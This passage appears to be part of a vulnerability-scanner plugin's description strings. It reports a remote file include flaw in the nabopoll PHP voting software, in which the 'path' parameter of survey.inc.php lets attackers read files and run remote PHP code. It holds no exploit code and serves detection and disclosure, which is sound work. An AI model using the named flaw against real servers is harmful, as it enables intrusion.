remote file include attack." );

"The remote host is running nabopoll, a web-based voting / survey
software for PHP and MySQL. 

The installed version of nabopoll allows remote attackers to control
the 'path' parameter used when including PHP code in the script
'survey.inc.php'.  By leveraging this flaw, an attacker is able to
view arbitrary files on the remote host and even execute arbitrary PHP
code, possibly taken from third-party hosts." );
